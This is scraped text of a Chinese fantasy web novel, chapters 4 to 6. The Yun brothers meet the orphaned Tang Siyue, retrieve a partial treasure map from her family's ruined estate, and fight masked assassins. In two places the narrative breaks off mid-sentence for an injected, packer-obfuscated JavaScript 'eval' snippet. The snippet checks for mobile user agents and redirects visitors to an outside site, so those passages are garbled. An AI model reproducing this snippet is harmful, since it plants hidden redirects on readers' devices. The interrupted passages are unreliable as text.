“无人知晓。” “世叔这里可有双生子的画像?” 林家主嘿嘿笑起来,拍了拍云修泽的肩,道。 “别说世叔这里了,哪里都没有!当年因为他们出色的容貌,有人将他们的画像挂在了青楼、歌舞坊这等风流之地,被他们知道后,估计是心里不舒服,连夜把挂着他们画像的地方一把火烧了个干净,并放言不许再画他们的画像,现有的也要毁掉,如若让他们发现,便是灭门之灾,可惜我也只在年轻时匆匆瞟过一眼,没能有幸欣赏世间绝色。” 云修云好奇地看着他。 “他们的容貌很出色吗?” 林家主十分认同的点了点头,赞道。 “他们从来都只穿红衣,可红衣艳丽,亦不敢与他们争锋。” 说到这里,林家主似乎想起了什么。 “正好我这里有位客人,美总是有相通之处的,你们可以按照她的姿容来想想当年双生子的风采,当然,如果见到了,你们两个小子可万莫给我唐突人家。” 云修泽沉默了一会,突然换了个话题。 “世叔可知道最近唐家的灭门惨案?我们途经那里,便正好去看了一眼,的确印有不知真假的双生子的记号,整个唐府还都开着用来保护贵重物品的回盾结界,来之前我试探过了,只怕要两日后才能消散,我欲前去一探。” 说起这个,林家主原本有些微醺的神情变得清明起来。 “我自然知道,即使你不问,我也打算跟你提一嘴,现下正好,今日你们安心住下,明日,我为你们引见一个人。” 交谈到此,天色已然是不早了,这顿饭虽然主要是云修云在吃,但剩下两人也都差不多吃好了,林家主揉了揉额角,表示自己乏了,让他们先行退下,剩下的事明日再说。 两人起身告别,由小厮领着前去休息的厢房。 云修云到了休息的院子,不知是醉饭还是醉酒,只觉得有些头晕,昏昏欲睡,可又不愿进到屋子里闷着,便晃晃悠悠,不知从哪儿找了棵好树,用最后一点力气把自己安顿了上去。 今晚,是上弦月。 树上的风景很好,微风也拂的正合人心意,他迷迷糊糊的闭上眼,却没能注意到这个树栽的位置并不在他的院落。 而此刻正有窈窕佳人,怀抱七弦古琴,踏着如水的月色款款而来。 4. 孚望四 云修云在树上小憩,思绪不清时只觉得自己睡得十分舒适。等他稍微有些清醒时,便开始有意识的享受周围的一切。 月光的柔和,微风的吹拂,树叶沙沙的声响,还有带着愁思之意,清幽悦耳的琴音。 云修云迷迷糊糊的想,这个最合他的心意,只恨不得要与这琴音夜夜相伴入眠才好。 嗯......余音绕我,三日不绝才好...... ...嗯......琴音...... ...嗯......嗯????? 树上打盹儿的云修云猛地抖了一个激灵,睁大了双眼,一个激动就要坐起身来,事实证明,有的时候你以为你醒了,而你的脑袋会跟你说,孩子,你想多了。 这棵树并没有几百年的高寿,本身的树种也不在十分粗壮之列,于是虽然并非云修云的本意,他还是十分顺利的因为这个举动从树上摔了下去。 落到半截儿,身体的本能替他保住了脸面,只见他迅速的在空中调整了自己的姿势,以一个算不上太过完美的动作安全落地,还没等他缓过神来,便听见一声惊呼,紧接着就是桌椅被带倒的声响。 他抬头的动作刚刚进行到一半,便有一个护卫模样的人晃身到了他面前,正手持一把冒着寒光的长刀面对着他严阵以待。 云修云虽然还没有搞清楚是怎么回事,但是多年和大哥切磋打架的本能已经开始调动他的身体,让他瞬间就进入了一个进可攻退可守的防御姿态。 然后他就后悔了,从小到大,每年他和大哥都会有一小段时间借住在这里,世叔家里有专供他们兄弟二人休息的院子,而这里显然不是他的地盘,看这棵树倒像是旁边那座常年闲置的院落,刚才席间隐约听他们说起有外客来访,想来便是住在了这里。 云修云暗自气恼自己头昏了竟然闯到别人院中,正当他站直身体想解释时,更后悔的来了。 在那个护卫身后,背对着他站着的明显是个姑娘,而且还是个衣着单薄,只披了一件外袍的姑娘,旁边的桌案上放着一把古琴,矮凳在在她受惊时已经被慌乱踢倒。 现在的情形已经很明显了,人家小姐借住在这里,也许本来已经和衣准备睡下了,却突然来了雅兴,来到自己所住的院子中对月拨弦,而他,就是那个不知道怎么闯进这里,盯上了人家姑娘,不知是准备行刺的刺客还是另有所图的不轨之人! 本来他还有些不爽这人直直的拿兵刃对着他,现下看来,实在算不得冤枉。 云修云手足无措的站在那里,张大了嘴巴,想说些什么,却觉得自己的舌头像是打了结一般,一个字都蹦不出来。 “欸!不是...走错了...不是故意的...你你你我......对、不住对不住!!” 他手忙脚乱的一顿连比划带说,算是蹦出了几个字儿,虽然有些颠倒错乱,但也大概是把意思说明白了。想来她一个姑娘家住在这里,今日府中来了两个外男,王叔也肯定是已经差人告知过她。 那姑娘听了他的话,迟疑了一下,才犹豫的转过头来打量他。 这个举动让云修云如同被她施法定住了一般一动不动,他的眼眶微微睁大,直愣愣的,眼中映出了一抹白色的身影。 刚刚从月亮身旁路过的薄云已经彻底离开了,晚夜温凉,月光偏爱的簇拥着她,将温柔的颜色洒落她的身边。 没有珠钗点缀,散着发髻,泼墨的长发和身上单薄的白衣一起随着微风轻轻摆动,衬得她的身形腰肢愈发的纤瘦。 她回头看他,眼眸只轻轻动了一下,虽没有顾盼之举,却有着因盼睐而倾城的冲击。 注意到云修云直白的目光,她又轻颤两下,垂下了双眼,朱唇微微抿着,长发拂过她的面容,迷蒙了她的容貌,也迷蒙了痴人的心。 “......啊...仙女......”云修云呆呆的开口。 虽然她知道他也许是无心之失,却也还是忍不住露出了一些恼羞的神色,只能低声骂他道。 “登徒子!” 她的衣着单薄,不愿在这里久留,轻骂这一句后,就转身快步离开了这里。 看她误会离去,云修云知道自己应该追上去认真的和她解释一下事情的来龙去脉,但他控制不了自己。 此时此刻,他只想为她奉上一支珠钗。 * 第二日。 叔侄三人聚在一起用饭,饭后又移步到前厅喝茶,茶叶是从别地收来的尖货,茶水温热着,散发出的味道也十分的清香宜人。 云修泽喝了一杯后,就不再添茶,反而将象牙杯放在手中轻轻转动着把玩,他向林家主问道。 “世叔,子竹还有些疑惑,双生子十四五岁初出茅庐,又是何年岁失去了踪迹呢?” 林家主十分喜爱这茶,忍不住有些贪杯,听到云修泽的话,抬眼思索,捏手算了算。 “等我我想想啊......大概和你差不多大的时候吧!风华正茂的年纪,不知为何就突然没了音讯,直到四五年前才流传出地图的消息,无论他们留下的是积攒的财富也好,还是所习得功法也罢,总归是叫人蠢蠢欲动的,无论真假也愿试上一试。” 说罢,他低头吹了吹茶水腾升的热气,说道。 “昨天说要为你们引见一个人,正是我说过的那位唐小姐,我已叫人去请了,待会便到。青玉这是怎么了?今天一直心不在焉的。” 云修云单手撑着脸颊,呆愣愣的沉浸在自己的世界里,没能听到林家主的问话。 啪! 直到云修泽拍了他一下。 云修云一个激灵,抬头一看,就见两张笑脸对着他,于是讪讪笑道。 “怎...怎么了...?” 云修泽收起和善的笑容,有些奇怪地问他。 “世叔问你话呢,你怎么了?今天怎么尤其的傻?” 云修云瘪了瘪嘴,没敢说什么,只有些心虚。 “那什么...我见着仙女了...” “......” “......” 等他将来龙去脉讲清,屋内便传来一声怒喝。 “什么!!!” 屋檐上的鸟雀霎时振翅,四散而逃。 林家主随手抄起了墙上用来装饰的长剑,追着云修云绕着云修泽的桌椅绕圈,一个心虚逃跑,一个怒气冲冲。 云修云一边上蹿下跳,一边气短的大声解释。 “我又不是故意的!!!我那是醉了!!没注意!!!我错了世叔!!您轻点!!别闪了腰!!!” 林家主只觉得他滑不溜手像个泥猴子一样,怎么抓也抓不住。 “好你个臭小子!!我说的什么??!!我昨天刚说了什么!!!!不要给我唐突人家!!!你可倒好!!下了饭桌就上了人家院子里的树!!!你想干什么???啊?!” 云修泽被他们围着,时不时还要歪一下身子,避免被他们误伤,手上动作不停,又添了一杯茶,岁月静好般的慢饮着。 这场闹剧直到管家王叔的到来才被终止,似乎对眼前的情景见怪不怪一样,王叔笑着说道。 “老爷,唐小姐到了。” 林家主站在云修泽面前怒气未平,云修云躲在云修泽的背后警惕陪笑,云修泽淡定喝茶。 “世叔,先坐下吧,把人请进来,别让人久等了。” 林家主这才怒哼一声,拂袖回到座位上,对王叔说道。 “把人请进来!” 云修泽垂眸思索,直到有轻微的脚步声传来才抬眼向人看去。 今天之前,云修泽也自诩见过不少美人,但从未有人像这个唐小姐一样,美得摄人心魄。 他仔细观察着她,白色的衣裙,有淡粉色的纹样点缀,衣摆随着她的步伐翻动,从仪态来看,肯定是大家族出身。 五官容貌是张扬的美,可偏偏未施粉黛,发髻梳的也是十分温婉的样式,几样简单的发饰,等她轻轻抬眼看你,清水芙蓉般大家闺秀的形象就已经呈现出来。 这样的美人,便是前夜他在唐府中遇到的那个女子,也要逊色三分。 云修泽眯了眯眼,看来镜双子的姿容,也绝对的夺人眼球,如此出色的容貌,丢入人群中,肯定不难找到。 那女子和一个护卫一同走上前来,护卫抱拳行礼,而她冲着林家主盈盈一拜。 “思月见过家主。” “起来吧,快坐。” 林家主又恢复到之前儒雅随和的模样,笑着喊她起身。 唐思月又谢过林家主之后才坐了过去。 “思月啊,我给你介绍一下,这两个是我一位世交的儿子,姓云,大的叫云修泽,小的叫云修云。” 随着林家主的话,兄弟二人依次站起来向她见礼,唐思月向云修泽回礼,抬眼看了看云修云,似乎对他心有芥蒂,却也轻轻向他回礼。 云修云有些无措,林家主一见便知是怎么回事。 “思月,我刚刚听这个臭小子说,他昨天不小心走错院子,唐突了你,林叔代他向你道歉,这臭小子平时没心没肺的,但是心思单纯,不是那种无礼之徒,昨日他们来,我心里高兴,便同他们喝了几杯,谁知竟让这个傻小子晕乎乎的走错了地方!实在是对你不住,让他好好给你赔礼道歉。” 云修云不断地偷瞄她的神色,小心翼翼的开口。 “对不住了唐姑娘,我实在是无心之失,昨日晕着,找了棵树,便上去小憩了一会儿,没想到唐突了你,只要你能原谅我,是罚是打我都认了!” 云修泽倒也不偏袒他。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950931|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是,唐姑娘,这事儿是他做的不对,只要你开口,我便替你罚他。” 三人你一句我一句,倒让唐思月心里的别扭消散了些,她微微弯唇。 “不妨事,倒也没真的唐突了我,既然是无心之失,又已经道过歉,罚就不必了。” 云修云见她笑了,也有些开心,连忙道谢。 “多谢唐姑娘!我定铭记于心,再不会犯第二次了。” 林家主由着三个年轻人叙话,等他们说的差不多了,才开口介绍。 “这位是思月,姓唐。” 云修泽问道。 “是唐府的那个唐吗?” 唐思月露出了哀伤的神色,轻声回他。 “正是,我是唐家唯一的遗孤,自幼时起我就体弱多病,不能修习家中的功法,而家中关系复杂,我父亲身为族长,却无暇顾及我,为了保全我,常年将我放在府外,又对世人隐瞒了我的存在,却不想...竟让我成为了唯一的幸存者......” “哦?那你身后的这位兄弟是?” 唐思月身后站着的男人似乎没想到自己能被提起,他带了一张遮住全脸的面具,叫人只能看见他深邃的双眼,他不着痕迹的看了一眼云修泽,冲三人抱拳说道。 “行愿,小姐的护卫。” 他的存在感好像很低,叫人无意识的想要忽略他,此刻被提起来,才让人去打量他。 黑衣绣着暗纹,腰间佩着一柄长刀,刀鞘上没有名字,身姿挺拔,静静的站在那里,当你注视他时,只会觉得他像一柄沉默无锋,但又时刻准备着战斗的刀刃。 云修云想起昨夜有人挡在他身前,应该就是这个叫行愿的人,但当他仔细回想时,却丝毫想不起他当时的样子。 行愿的性格沉默,不愿多说,于是唐思月接过他的话说道。 “行愿是我很多年前救回来的,之后他无处可去,便一直在我身边了。” 云修泽点了点头,又温声问道。 “那唐姑娘为何现在在世叔家中,又是何时听说的唐府的事情?” 唐思月轻轻摇了摇头。 “我是被家主带回来的,当时根本不知道这件事情,事发的第二天,林家主碰巧找到我,担忧我的安危,将我接了过来,我不知道发生了什么事情,因此,虽然家父与林家主有旧,却也并不想麻烦家主,家主无奈,这才将事情告知了我。” 林家主轻咳了两声。 “确实,其实早年间唐族长救过我一次,我一直想要报恩,你们也知道,我做到现在这个位置总是有些手段,便查到了他有个体弱的漂亮女儿,于是四处搜集珍贵的药物,正好这次回来交给他,想要偿还一二,却不想没能用上。” 说完,他又向唐思月问道。 “思月啊,你们唐家的事恐怕并不是个意外,大约是有人寻仇,我这两个侄子有些线索,这两天正准备去看上一看,你可愿随他们同去?” 唐思月听闻,一下子抬眼看来,与柔弱的姿态不同,她的话透出一种出乎意料的坚韧。 “我愿意!多谢家主成全,还要麻烦两位公子了。” “不麻烦不麻烦!!举手之劳,能帮到你就再好不过了!” 云修云听了连忙摆手,笑容里流露出一点傻气。 云修泽没有开口,却也对她微笑点头示意无妨。 等到唐思月离开,云修泽才向林家主问道。 “世叔为何要她与我们同去?” 林家主轻叹了口气,有些疲惫的靠在了椅背上。 “你们有所不知,根据我查到的,唐家人十分注重血脉,按照你们的说法,如果唐家真的藏了什么重要的东西,哪怕那个结界破了,没有唐家的直系血脉,恐怕你们也拿不到手。更何况她还是我恩人的女儿,能够帮到她一些也是好的。” 云修泽皱了皱眉,没想到这件事情居然这么复杂,但是唐思月的出现,正正好好补上了缺失的一环。 “您之前没有见过她,可查过他们的身份了吗?” 林家主终于放弃了喝茶,将杯子推到一边。 “我知道你想说什么,我虽然没有见过唐族长的女儿,可这个人的确是存在的,我曾经派去查探的人也说过她很是貌美,至于她那个护卫,我也派人查过,虽然能查到的很少,但也没什么问题。” 云修泽听闻才算是放心些,点了点头。 那边林家主长叹一声,没再说什么,挥手表示让他们自己玩儿去,本人倒是步伐不慢,比他们先一步出了院子。 云修云随云修泽出了门,好奇的问。 “世叔干嘛去了?怎么走的那么急?” “......” “...喝了那么多茶,估计是茅厕吧.......” “......” 5. 孚望五 林府外。 一辆宽敞舒适,却也十分低调朴素的马车静静的停在那里。 云修云站在马车前,想起自己之前潦草的日子,简直要被感动得热泪盈眶。 “我要告诉世叔我爱他!!!” 云修泽已经对自己这个傻弟弟免疫了,他勾着云修云的脖颈将他拉到一旁,指了指门内正被小厮牵着走来的两匹马。 “云修云,你能不能让你的脑袋像一个正常人的想法一样拐个弯?马车是给唐姑娘准备的,她体弱,受不了剧烈的颠簸,你想干嘛?还嫌之前冒犯的不够是不是?无亲无故的想跟人家一个未出阁的小姑娘挤一辆马车?你不要你的马了?” 云修云一个丝滑转身,直接接过了小厮手里的缰绳,一把捂住马的耳朵,轻声哄它。 “不不不,哥不会不要你的,你别听他瞎说!” 他转头冲着云修泽的背影小声嘟囔。 “你脑袋才不拐弯儿!” 谁知云修泽头也不回,用灵力取了一块地上的小石头,向后一扔,十分精准的砸到了他。 云修云轻声痛呼,揉了揉自己被砸到的地方,冲着云修泽不断的做鬼脸,在他微笑转头时,又瞬间切换成一副乖巧的模样无辜地看着他。 云修泽无奈,转头看到了向外走来的林家主、唐思月和行愿三人。 林家主停在大门处,冲唐思月温声叮嘱。 “思月啊,你不要太勉强自己,万事以自己的身体为重,有什么需要跟这两个小子说,他们要是照顾不好你,回来我是要问他们的责的。” 唐思月向他垂目一拜,温文尔雅的笑道。 “思月记得了,多谢家主为我费心。” 云修泽迎上前来,向林家主保证。 “还请世叔放心,我们定然照顾好唐姑娘,必不叫她有一点损伤。” 后面的云修云也不住的点头。 林家主捋了捋胡子,还算放心他们两个。 “去吧。” 唐思月在行愿的搀扶下弯腰进了马车,而行愿则让车头的小厮离开,自己坐了上去,一副要亲自驾马车的模样。 林家主对不知所措的小厮点点头,示意他退下,又对身边的云修泽轻声说道。 “你们只要看顾她不被别人近身就行,不用过于小心,她并不是真的手无缚鸡之力的人,虽然不能修习过于强势的功法和体术,但在音攻一道上颇有造诣,而且出身唐家,对医毒都十分擅长,有的时候甚至能给你们不小的帮助,此去,你们记得要谨慎行事,万不可冲动。” 云修泽听后,神色微微一动,似乎在心里有了什么考量,片刻后才缓缓开口。 “子竹知晓了,请世叔放心。” 林家主无言拍了拍他的肩膀,送两兄弟上了马后,才转身离去。 顾及着唐思月的身体,两兄弟并没有像之前一样驾马奔驰,而是带着马车不紧不慢的赶路,直到天色有了一抹擦黑,几人才到了唐府所在的地界。 用过饭后,云修泽轻声对唐思月叮嘱。 “今夜丑时集合,为了行动方便,还请唐小姐换上颜色不显眼的服饰,不必太过紧张,除了行护卫,我们也会护你周全。” “嗯!”唐思月攥紧了双手,认真的点了点头。 等到了时间,唐思月换上了一身黑色的劲装,行走间竟有种锋芒毕露之感,若不是她的脚步虚浮无力,恐怕所有人都会以为这是一个高手。 云修泽感到有些意外,只不过是换了一身衣服而已,同一个人竟然能有两种截然不同的气质,可等唐思月来到他们面前,往那里轻轻一站,抬眼看来时,就又没有了那种感觉。 看来是错觉,云修泽暗暗想到,却听到一旁云修云突然发出一声轻笑,他随声看去,见到云修云有些忍俊不禁的指了指唐思月身后行愿的面具。 “行大哥这么严谨吗?连面具都换成黑的了哈哈,这下真是从头黑到了脚,谁也看不见了哈哈!” 云修泽一看,眼底登时闪过一抹笑意,他低下头,轻咳一声后低声训斥云修云。 “胡乱调侃什么呢,没大没小的,还不快给人家道歉。” 行愿比他们都大,云修云收了笑声,脸上却还带着笑,毫无心理负担的向他卖乖。 “是我失礼了,行愿大哥可千万不要往心里去。” 行愿点了点头,没有出声,却将刀拨出了半寸,刀身银白,在他黑衣的衬托下变得十分显眼,他似乎在无言的说,可以以此来分辨我的位置。 云修泽勾起了唇角,觉得他的性情十分的认真,怪不得能因为恩情留在唐思月身边,无微不至的看护了她那么多年。 几人顺利碰头后,就一起前往了唐府,云修泽一试,结界果然已经消散的差不多了。 于是云修泽打头阵,行愿殿后,四人依次进了唐府。 迈进了唐府,看着眼前的惨状,唐思月抿起嘴,皱着眉头紧紧闭上了双眼,似乎像是不愿看到这幅景象一般。 行愿拍拍她的肩,将她半揽了过去,唐思月将额头抵在他的肩上,似乎是在抽泣,肩膀微微耸动着,美人落泪已叫人心疼,更何况她还哭得无声。 三人无言的陪着她,她今年才十七岁,和云修云一般大,哪怕是已经及冠的云修泽,遇上了这等灭门之灾,也肯定难以承受,更何况她了。 那边的大云小云还在想着要不要找什么话安慰一下她,她却出乎意料的坚强,并没有让自己沉浸在悲伤里太久,背对着他们擦了擦眼泪,转过来时眼眶还红红的。 “我们走吧,不能耽搁太久。” 这倒让云修泽有些钦佩她,温和的点了点头。 “你且安心,唐家所有人的尸首,都已经被官府好生安葬了。” 唐思月感激的冲他笑了笑。 四人一路来到之前的小房子前,结界已经脆弱的可以让人无视了,云修泽转头问唐思月。 “唐姑娘可知道这是什么地方?” 唐思月端详了一会儿,摇摇头有些遗憾的说。 “我也不知道,我从小就不住在这里,来这里的次数也是少之又少,父亲也不会和我说这些。” 云修泽点点头也没再说什么。 结界已经彻底消失,云修泽推开小房子的门。 “吱呀——” 随着门被推开,房间内的东西也一目了然的呈现在他们眼前。 一个圆形的石台上刻着结界的法印,颜色鲜艳而且零散的小水晶围了一圈,最中间则是已经失去了光芒的六合灵石,这是一种比较少见的充满了灵气的晶石,通常用来辅助修炼,效果很是不错,这么大一块,唐家倒是舍得用来供应结界。 除了这个,房间里就仅有一个不大的木箱了,木箱底部还刻着一个小型阵法,云修泽想将它打开,却发现无论如何都无法成功,甚至于提剑劈去,也留不下一点伤痕,他将箱子拿起来,左右看了看,口中喃喃自语。 “原来如此,怪不得呢。” 云修云看他一个人折腾来折腾去,也折腾不出个所以然来,想起他那从小到大,无论是多难搞的东西或者事情,宁愿把自己关在房间里,三天三夜不出门的研究,也不愿找别人帮忙的性子,正有些着急,按耐不住的想主动请缨尝试,就见云修泽把箱子往唐思月面前一放,拍了拍它。 “还请唐姑娘一试。” 回头就瞧见了云修云见鬼的表情,大云顿了一下,笑容可亲的和小云对视,小云机智闭嘴。 唐思月神色有些好奇,摇了摇木箱,侧耳去听,却什么也听不见,又伸手去开,木箱纹丝不动,一点面子都不给。 唐思月盯着那个箱子,倒也没有气馁,盯了一会,突然拔出了行愿的刀,用手掌握住轻轻一划,鲜血顿时就流了出来。 行愿对她应该是不设防,自己的佩刀,轻易就让她得了手,见她手掌被划伤,整个人都僵在那里,似乎是不知道该怎么办一样无措。 二云也被她惊到了,云修云立马就想上前去为她止血,却被云修泽拦了下来。 只见唐思月将血滴在木箱上,随着鲜血落下,木箱底部的阵法像是活过来一般,旋转着一下就展了开来,仿佛是箱子的底座,泛着淡黄色的光芒嗡动,同时内里传来了像是机括开合的声响。 随着咔哒一声,阵法不断闪烁明灭,很快就慢慢消散了,木箱落回唐思月手里,唐思月没去管受伤的手,直接打开了箱子。 箱子分为两层,第一层放着一支带着铃铛的穗子,从波动来看,应该是用来储物的灵器,几人不知所以,只有唐思月动了动,发出了一声轻响,她将穗子拿出来,把神识探进去后,笑着沉默了好一会儿才开口。 “这是我幼时的爱物,我还当他忘了呢,没想到父亲竟然将它练成了储物用品,这里面都是唐家的财物,还有不少是女子用的小玩意,应该是父亲给我留的。” 几人沉默地点点头,云修泽对她说道。 “既然是你父亲给你留的,你就收下吧,总要叫他在天之灵,能够放心你。” 唐思月把铃铛攥入手中,笑着道谢,整个人都被一种浓浓的哀伤所笼罩。 她将穗子收起来,又将木箱的隔层拿走,第二层,是一份卷起的地图。 云修泽与云修云对视一眼,云修云惊讶中带着点疑惑,云修泽则透露出了一份思索。 云修泽上前将地图拿了起来,摸了摸它的用料,又将它展开看了看,边缘残缺,这是一份不完整的地图。 这是,镜双子的地图! 云修泽捏着地图的手紧了紧,忽然抬起了眼,那边行愿正拉着唐思月的手腕为她止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950932|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血,也和云修泽一样,在同一时间似有所感的抬起了头,眼神动了动,拉着唐思月的手腕骤然将她抱了起来,急速地向后退去。 云修泽也反手将地图收入了玉佩中,快步后撤,一手抽出禇闲,一手用剑鞘把云修云向后拨去。 “轰隆————!!!” 随着一声巨响,屋顶轰然塌陷,砸在了他们刚刚站的位置上,云修云很快反应了过来,转手抽出司越剑,在空中借着落石调整姿势。 安全落地后,二云和怀抱着唐思月的行愿对视一眼,不约而同飞身离开了房中,等到他们在空旷的院中落定,唰唰唰几声,几个黑衣人就落在他们四周,将四人团团包围。 为首的那个人似乎不太熟悉通用语一般,说话的音调十分怪异。 “地图,交出来,放你们走。” 云修泽唇角带着笑意,温度却不达眼底,开口十分有礼的说。 “实在抱歉,父命难违,这东西,我非要不可。” 话还没落地,人就一个矮身,失去了踪影,下一个瞬间,就出现在了神秘人首领的背后。 可惜没能一举得手,冰做的屏障凭空出现在神秘人身后,挡住了禇闲的攻势,一击不成,云修泽毫不恋战,果断后撤,他落在附近的一棵树上,正欲再起,脚踝就被藤蔓缠缚。 左后方有一个人正面对着他的方向双手撑地,显然是藤蔓的控制者,他本想将藤蔓斩断再快速离去,余光却瞥见了云修云已然悄声到了那人附近。 于是故意停顿了一下,只这一下,在战斗中就足以致命,那人看准了这个间隙,更专注的控制起更多的藤蔓向他刺去,却见云修泽唇角一勾。 不好!!上当了!!! 那人马上就意识到了陷阱,立马想要转移,却在转头的瞬间被云修云一把抹了脖子,随着他的死亡,藤蔓也失去了控制,回到了正常的模样。 云修云得手,马上变换位置,下一瞬,他刚刚站的地方就有三枚冰刺极速钉入,若不是跑得快,恐怕就要血溅当场。 上空传来扑簌扑簌的拍打声,云修泽在与头领缠斗的间隙迅速向上望了一眼,只见一个黑衣人背生双羽,腾空而起。 以他为中心,周围凝聚起灵力幻化的羽毛,密密麻麻铺满了上空,随着他弯曲身体,一声怒喝,就犹如千万支利箭一般向他疾驰而来。 “我靠!!还能这么玩吗??” 云修云那边抽不出手,瞥见这边的情形,想要快速结束战斗去支援云修泽,却无奈自己这边也是个控冰高手,一时之间竟无法甩脱。 云修泽反身一个横踢想要借机接近头领,用他来为自己挡伤,却没想到他早就有所防备,根本不接招,向后退去的同时,伸手在两人之间筑起一道冰墙,让云修泽无法躲避上方的攻击。 “铮————” 一声含有灵力的琴音传来,音波荡过,空中的羽箭全都被平扫了下来,再无半点杀伤力。 是唐思月出手了。 她怀中抱着云修云见过的那把古琴席地而坐,行愿以她为中心,游走杀人,不让人趁机接近她。 云修泽与唐思月两人对视一眼,互相点了点头。 只见唐思月沉气再次拨动了琴弦,她的琴音变化无常,上一秒还是干扰神智,下一秒就是攻伐之意,但是因为针对的是所有的敌人,所以灵力分散开来,效果并不能完全制服所有人,只能在每人身上都发挥个三四成。 但仅是如此,也足以干扰他们的行动,给了云修泽三人很好的辅助。 随着死去的黑衣人越来越多,头领也被缠的不耐烦起来。 只见他瞳孔骤然间变成了水蓝色,周身的气势攀升,云修泽暗道不好,抽身后撤,抬头的一瞬间,他仿佛看见了一片巨大的海浪呼啸着向他拍来,水中还有一头凶猛的海中妖兽狰狞前扑。 与云修云缠斗的那个见状,立马放弃了云修云,一个闪身奔到头领身后,按住他的肩膀为他输送灵力,云修云也立刻向云修泽赶去。 唐思月咬牙,汇聚了全身的灵力拨弦想要抵挡,可是音波与海浪只对抗了片刻便被拍碎,唐思月也因此受了伤,轻哼一声,嘴角渗出了鲜血,行愿闪身到她身边撑住她,带着她向后撤去。 虽然只抵挡了一瞬间,但也足以为云修泽争取时间,他瞳孔骤缩,不退反进,将灵力不要钱一般灌输在禇闲身上,带着它向妖兽快速冲去。 云修云已经到了,他将为头领输送灵力的那个拨开,重新拉着他缠斗起来,海浪和妖兽的气势顿时弱了几分,那人刚刚灵力耗费太多,此时已经不是云修云的对手,几个回合就被他斩于剑下。 这边云修泽抡臂向前,借着禇闲的重量和惯性,在空中转了个身,完成了蓄力,挥剑的那一瞬间,他开口大喝。 “明——青!!!” 6. 孚望六 “明——青!!!” 随着他的声音,一柄长剑破空而来,转瞬间,就到了妖兽身后。 一名陌生的女子不知是什么时候出现在这里,她的速度极快,纵身一跃,便到了那柄长剑的位置,蓄力也要比云修泽快上许多,灵力注入,那柄长剑剑身的蓝色就发出微微的光晕,外放的杀气锋芒与云修泽相比也不遑多让。 众人睁大了双眼,只见两人一个在上,一个在下,用一般无二的动作在霎那间穿过水幕,两剑相遇,妖兽便哀嚎一声陨命于他们的剑下,海浪也顷刻而散。 黑衣人的首领捂住心口,显然受了不轻的内伤,口中不断有鲜血涌出。 该死!他根本没有察觉到这个陌生女子在周围! 他飞快地左右看了看,如果仅仅是云修泽,他断不会如此狼狈,可这个变数让一切化为了泡影,今天别说是拿到地图,便是他有没有命活着回去都不好说! 他一咬牙,调动身体透支灵力,双手在胸前快速结了一个空间法印,立刻就要远遁。 云修泽与明青看出他的企图,快步从两侧包抄过去,眼见着就要赶不上了,行愿却不知道突然从哪里冒了出来,一刀下去,黑衣人首领就彻底没了抵抗之力。 至此,前来围攻他们的黑衣人,除了苟延残喘的首领,已经全部死于他们的剑下。 几人围了上来,还没等他们问什么,黑衣人首领就咬碎了口中藏的毒药,一个呼吸间就彻底死透。 云修泽挑下他的面罩,发现是一个长相毫无特点的中年人,刚才死去的人,但凡面罩在打斗中掉落的,都是五官平平,属于扔在人堆儿里,你稍一不注意就会找不到人的那种。 看来是专门培养的死士。 云修泽面无表情的想。 几名黑衣人的尸骨很快就化为了灰烬,只留下了几枚色泽莹润的内丹。 云修泽转动手腕,几缕灵气便带着那些内丹乖巧的到了云修泽的手上。 “妖丹。” 一旁的明青突然开口。 “留着吧,内丹上一般会有主人的气息,以后有机会去佘渊可以探查一下。” 云修泽转眼看她,眼中有了一丝笑意。 “我以为你不来了。” 明青冷淡的瞥了他一眼。 “那你就不会叫我的名字了。” 云修云被他们你一句我一句的交谈搞的云里雾里,唐思月和行愿不清楚,他却是一直在他哥身边。 什么时候冒出来这么个人?还跟他哥约好今晚见面? 但他也不是个傻子,从头到尾缕了一遍,心中便有了数,他表情有些怪异的看着明青,又转头去看云修泽。 “这就是你说的无关紧要的小贼???” “正是。” 云修泽笑得有些玩味,冲他点了点头表示肯定。 明青没说什么,神色淡淡的站在那里。 她实在是一个不可多得的美人,皮肤白净,双眼微微上挑,本应有妩媚之意,放在这张脸上,却让人觉得此人应是云中仙,只可远观才是。 长发被利落挽起,眉眼浓密,薄唇也显得相得益彰,神色虽然冷淡,但并不显得冷漠。 她笑起来应该很好看。 云修泽难得走了个神,思绪不知道飘到了哪里。 明青将几个人打量了一番,似乎也被唐思月的容貌惊艳到,眼神在唐思月和行愿身上多停留了一下。 唐思月见状向她微笑点头,行愿不知是什么时候回到了唐思月身边,他遮着一张脸,只有眼眸沉沉,让人猜不透他在想些什么。 明青也冲她点了点头算作回礼,开口道。 “你们好,我是明青。” 云修云还等着听下一句,却发现她一句过后就不打算再说些什么了,无奈之下,只能将希望寄托在云修泽身上。 云修泽似乎并不意外她的寡言,十分自然的将话接了过来。 原来,明青也是冲着镜双子的印记来的,只是恰巧和兄弟两人选在了同一天探访唐府。 她显然也知道双生子有在记号中留言的习惯,于是在看到云修泽想要去触摸时,便果断出了手。 她自幼得师傅教诲,修习了一门步法诡谲的轻功,真真假假,假假真真。 习成后,除了师傅,她便再没遇到第二人可以破解此法,给足了她底气,便是不敌,也可全身而退。 